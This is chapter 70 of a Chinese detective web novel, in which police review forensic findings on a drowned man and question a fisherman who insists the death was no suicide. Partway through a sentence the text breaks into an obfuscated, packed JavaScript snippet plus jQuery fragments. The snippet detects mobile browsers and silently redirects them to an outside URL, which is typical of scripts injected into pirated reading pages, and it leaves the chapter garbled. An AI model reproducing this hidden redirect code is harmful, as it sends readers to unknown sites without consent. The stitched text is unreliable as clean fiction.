默认冷灰
24号文字
方正启体

70.钓鱼佬

作者:柚子蔷本书字数:K更新时间:
    第二天上午,法医办公室,陈疏琳接过罗乐递来的纸杯,介绍起杜彦成的情况:“死者肺部充盈水液,符合溺水特征。”


    “是酒后吗?”罗乐拿着报告翻看。


    “血样里确实检出酒精,但浓度很低。”陈疏琳回。


    罗乐停下翻报告的手,抬头问:“低到什么程度?”


    “以他的体重推算,不足以影响行动能力。”陈疏琳指了指报告,“不过,他的血样和其他检材中都发现H剂,你翻到第二页。”


    “H剂是什么东西?”罗乐问。


    “一种中枢神经抑制剂,根据检材浓度,提示存在外源性摄入,也就是说‘不是人体内自然合成’的。”


    “这会导致他落水吗?”罗乐又问。


    “这类抑制剂会让人反应迟钝、肌力下降,确实会增加意外风险。“


    陈疏琳说着把纸杯端到口边喝了一口,微微一愣,揭开了杯盖:“梨汤?你怎么会买这个?”


    “去对面街新开的一家网红店转了转,顺便给您带的。”


    “你去网红店?买东西?”陈疏琳不可思议地看着罗乐。


    罗乐只低头翻着手里的报告,又问:“照这么推算,杜彦成很可能是在河边或者去河边的路上服用了H剂。”


    “嗯,他身上没有新鲜的穿刺痕,排除注射,更符合口服。至于服用时间……”


    “还需要结合其他证据,根据检材推测,大概是在落水前短时间服用--很可能在一小时以内。”陈疏琳说完又喝了一口,还是,桂花味的……


    从法医科出来,罗乐拐去了隔壁的技侦实验室。


    “死者肺里的水液能明确是河水吗?”他拉过一把椅子,坐到陶律夏身边,把锡纸包放在桌上--“芝士焗红薯。”


    陶律夏抬头看他一眼:“……你把这儿当茶餐厅了,怎么什么都往里带?”


    “又不是榴莲,怎么不能带了了?刘博士都没说什么。”罗乐撕开锡纸放在陶律夏手边,“显微镜盯一上午,血糖掉了都不知道,赶紧吃两口。”


    陶律夏伸手拿起,咬下一口:“好甜……”


    “你不是爱喝黑咖啡嘛,配着正好。”罗乐咧嘴笑道,“继续说吧,这舟形藻怎么了?”


    “你还认识舟形藻?!”


    “我认识汉字好不好?”罗乐在他脑袋上轻轻弹了一下,“你的图片命名可不是一般得清楚。”


    “哦……”陶律夏调出显微图像,“在死者肺部液体中检出了硅藻,处理后经计数对比,硅藻群落构成与白沙河水样高度相似。”


    “此外,还有几缕白色纤维,判定为柳絮。“陶律夏切换了一张显微镜图片,”我查了白沙河望柳滩一带的街景,那一片密植柳树,现在仍是飘絮期。”


    “硅藻、柳絮再结合检材里出现的无机微粒、衣物纤维里的水草碎屑等,可以推断死者的溺水地点与白沙河望柳滩高度相关。”


    白沙河从北向南贯穿京北,河两岸的风貌因地段差异迥然不同。


    上游水流湍急,势如奔马,下游河面开阔,水流舒缓,夏日常有人在水面划浆板。中段自城市间穿流而过,沿岸既有酒吧、咖啡馆遍布的霓虹地带,也有绿植环绕的静谧步道。


    罗乐和陶律夏划船的地方,则是这段的”河心“,夜里灯影交错,被人戏称为“京北多瑙河”。


    “京北多瑙河”往北走1.5公里便是望柳滩,两侧筑有防洪堤坝,堤顶有接近三公里的巡河路。


    沿着巡河路北行,便是杜彦成家人口中他常常钓鱼的永顺桥。苗川眯着眼沿着河岸扫了一圈:“这哪有钓鱼的人啊?”


    罗乐抬手往远处指了一下:“那儿。”


    “哪儿啊?”苗川顺着望去,撇嘴道:“别说人了,连个鸟影都没看见。”


    “你这眼神,也就够查夜总会灯牌的。”罗乐低笑一声,“桥洞底下,看见没?桥墩旁那块混凝土平台。”


    苗川定睛瞧了半天,这才在桥体下辨认出一个人影。那身形和灰白的桥墩几乎融成一体,要不是偶尔甩竿,根本看不出来是人。


    “不是吧?那钓鱼佬咋过去的?还能游过去不成?”苗川探头打量河面。


    “付所,能从水务队或者附近管理所调条快艇过来吗?嗯,在白沙河北段139号定位点。”罗乐已打完电话。


    “要啥快艇啊?这天阴沉沉的,还有点小风,弄条手划多好,刚好展示展示你对墙扣杀练出来的臂力。”苗川开起玩笑。


    罗乐推了推鼻梁上的墨镜:“我只给我对象划船,你不在服务范围。”


    “少整那儿情圣发言了,你那云对象搁哪呢?”苗川把烟捻灭,丢进垃圾桶里。


    二十多分钟后,马达声轰鸣,快艇顶着浪花靠了过来。付勇坐在艇头,他四十出头的年纪,皮肤晒得黝黑。


    “行啊你们。”付勇扯着嗓子喊,“快到饭点了,把我叫来陪你们喝风?”


    罗乐咧嘴一笑:“帮大忙呢,案子破了请您吃顿好的,要啥酒随便点。”


    “对,账全记李达坤头上。”苗川在后面接话。


    付勇翻了个白眼:“得了吧,我敢给他记账,不想请就直说!去哪儿?”


    苗川抬手指向桥洞底下的石墩:“那儿。”


    “卧槽!”付勇顺着方向一瞧,立刻爆了句粗口,“今天还发了蓝色预警,钓鱼佬还敢上去,胆子也太肥了吧。”


    苗川惊讶道:“你也能看见?”


    “废话,我又不瞎。”付勇一脚把艇蹬正,朝他们招手,“上来!”


    “是前两天溺水那案子?不是掉在望柳滩那一段吗?你们咋跑这儿来了?”付勇问。


    风从河面掠过,把罗乐的头发吹得乱飞,他系紧救生衣往椅背斜斜一靠:“那边没线索,监控没拍着,目击者更是没有。死者家属说,他常来这儿钓鱼,我们顺路来看看。”


    “能来这儿钓鱼的,那可都是老手。那块平台是当年修桥时留下的检修基座,甩竿能打到河心,岸边人又看不清,快成他们圈子里半公开的钓点了。”付勇说。


    前方桥洞下,浮漂一沉一浮,那钓鱼佬正要提竿,快艇呼啦一下靠近,水面被搅得翻腾一片。


    “我靠、我靠!”钓鱼佬急得直拍大腿。


    “马大灶?怎么又是你?”付勇隔着水就开始喊。


    “付所长?您怎么亲自跑来了?”钓鱼佬斜眼瞥过来,语气里还带点不满,“这一口子我等了一上午,眼瞅着就要开窝,全让你给搅了!”


    “马顺发!你空军少给别人甩锅!”付勇嗓门一提,“赶紧收竿走人,这地方不是钓鱼台,谁让你大摇大摆蹲这儿的?”


    “这才刚起口呢!你让我现在收,不等于白守半天?”马顺发急了。


    “你是真不怕死啊?今天蓝色预警,天说变就变,真要起风打雷,鱼没钓着,先把你收走。”


    “春天的雨能有多大?“马顺发撇撇嘴,“这暴雨预警三天两头发,有几次真下了?”


    “就你废话多!”付勇火气上来了,怒道:“赶紧卷摊子!两位警官还有事问你。”


    “问啥啊?我搁这儿钓鱼又不犯法。”马顺发一边收竿,一边嘟囔,“真要问,不如去我店里问,付所您辛苦点,把船开到桥北口就行。”


    “合着我还成你专车司机了。”付勇白了他一眼,“你倒会找机会揽生意。”


    河风吹得人直打哆嗦,肚子也跟着咕噜响,苗川大手一挥:“就去哪儿,桥北口。”


    马顺发的店是一家典型的夜市小馆,还没到开张的时间点,店里空空荡荡,灯管只亮了一半。


    三人找了张圆桌坐下,桌上摆着半碟瓜子,估摸是头天客人剩下的。后堂传来叮叮当当的备菜声,马顺发往桌上放了壶茶,便钻进后堂张罗。


    苗川伸手抓了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431728|177278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一把瓜子,边嗑边说:“反正账记李达坤头上,要不喊「虫子专家」一块儿,前面那案子还得多谢人家。”


    罗乐正在倒茶,手一顿,抬眼斜了他一下:“有你这么请客的吗?菜都点完了才想起来叫人。”


    苗川撇撇嘴:“我这不是刚想起来嘛。”


    “谢谢,他不爱吃辣。”罗乐挤出一个称得上礼貌的笑容。


    “哎,我说——”苗川刚要问点啥,就被付勇扯着嗓子“多点辣椒”的声音打断。


    油香一阵阵地飘出来,罗乐把茶杯推到付勇手边,环顾四周,问:“这儿您常来吗?”


    付勇撕开湿巾擦了擦手:“马顺发这摊子,在这片夜市街小有名气。”


    没多会儿,菜就出来了,马顺发摘下围裙,自己拉了个凳子坐下,热情招呼:“杂鱼锅趁热吃,包新鲜,这都是我今儿一大早在河里钓的。要是付所你晚来一步,我就能请大家吃炖鲢鱼了。”


    付勇撇嘴笑骂:“你少吹吧,你钓上来的鲢鱼八成比巴掌大不了多少。”


    “您这就外行了,鲢鱼哪有那么小的。”马顺发立刻不服。


    眼看两人又要吵起来,罗乐接上话:“鲢鱼平均体长三十五到四十五公分,成鱼在一两公斤以上,‘巴掌大’也成立,但只能归类为鱼苗。钓鱼苗违法行为,而且它那点小嘴也吞不下饵。”


    “所以,您二位都没错,有巴掌大的鲢鱼,但钓不上来。”


    桌上寂静三秒,除了苗川一副见怪不怪的神情,其余俩人全愣了:付勇的筷子停在半空,马顺发嘴巴张得老大,像是怀疑自己误闯了渔政科普讲座。


    “这人嘴碎惯了,咱刑警队的野生专家,鱼虫鸟兽都能插上一嘴。二位当个笑话听就行。”苗川笑了笑,转向马顺发:“咱们说正事,您和杜彦成上次见面是什么时候?”


    “有半个多月没见了。”马顺发叹了口气,“唉,要不是你们说,我都不知道他叫杜彦成。一直老杜老杜地喊,原来才三十九岁,比我还小五岁……”


    说着他给自己倒了杯酒,仰头咕嘟灌下一口,招呼道:“你们不来点?”


    苗川摆摆手:“下午还得上班,改天专门来店里喝。你和老杜平时就在桥底下那平台上钓鱼吗?”


    “我爱来这儿,他嘛有时候过来。”马顺发点头。


    苗川:“咋过去?”


    马顺发:“有船嘛,掏钱就有人送。近处二十块一位,远点儿我没去过。”


    “好嘛!”付勇眼睛一瞪,“这不就是有组织吗?照理说得一锅端,先把那船老大按非法营运给抓了!”


    “付所,你还让不让我说了。”马顺发哭丧着脸。


    罗乐忙把话题拉回来:“杜彦成被工厂辞退的事,他跟你提过吗?”


    “啊?”马顺发一愣,眉毛拧起来,“他被工厂辞了?”


    苗川接口:“他家属说,他因为被辞工心情郁闷,喝闷酒上头才寻的短见。”


    “扯淡!”马顺发把杯子往桌上重重地一搁,“肯定是他那小舅子想要赔偿金胡说的!老杜绝对不可能寻短见,这事儿有蹊跷。”


    罗乐盯着他:“为什么他绝不可能寻短见?按他家人的说法,老杜水性很好,不可能在水里出意外。”


    “他才买了根新竿子,还嚷着要钓条大的开开光。”马顺发情绪激动,连声调都高了,“几千块钱的竿子他都舍得下手,能舍得死吗?”


    “钓鱼讲究的就是一个盼头,今天空军,明天就可能中大鱼。人活着也一样,再难的日子只要撑住,就有希望,我们钓鱼佬,认得了苦,认得了空,但绝不认死。”


    罗乐神情微动:“换竿子是什么时候的事?”


    “就上周啊。”


    “你不是说半个月没见他了?你怎么知道他换了竿子?”


    “抖音啊!”马顺发下巴一抬,“他自己发的,竿子就拿在手里,还乐呵呵的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)